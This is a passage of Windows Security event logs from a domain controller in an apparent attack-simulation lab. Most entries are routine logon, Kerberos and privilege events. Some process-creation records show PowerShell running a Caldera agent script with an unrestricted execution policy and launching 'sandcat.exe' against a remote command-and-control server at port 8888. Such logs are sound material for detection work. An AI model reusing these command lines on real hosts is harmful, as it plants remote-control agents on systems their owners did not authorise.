	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x115c
	New Process Name:	C:\Users\Public\sandcat.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x48c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Users\Public\sandcat.exe" -server http://10.0.1.12:8888 -group my_group -v

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252550
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1685E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252549
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163B77

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252548
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1685E8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252547
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1685E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252546
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252545
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252544
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252543
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168452

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252542
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168452

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252541
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168452
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252540
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252539
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252538
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252537
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165E53

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252536
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165452

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252535
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163EB5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252534
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x48c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252625
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1138
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1164
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\3nkczudu.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252624
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C64F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252623
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C64F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64654

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252622
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C64F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252621
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C5EC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252620
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C5EC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64653

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252619
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C5EC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252618
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x788
	Process Name:		C:\Windows\System32\dfsrs.exe
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252617
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x788
	Process Name:		C:\Windows\System32\dfsrs.exe
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252616
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C46B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252615
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
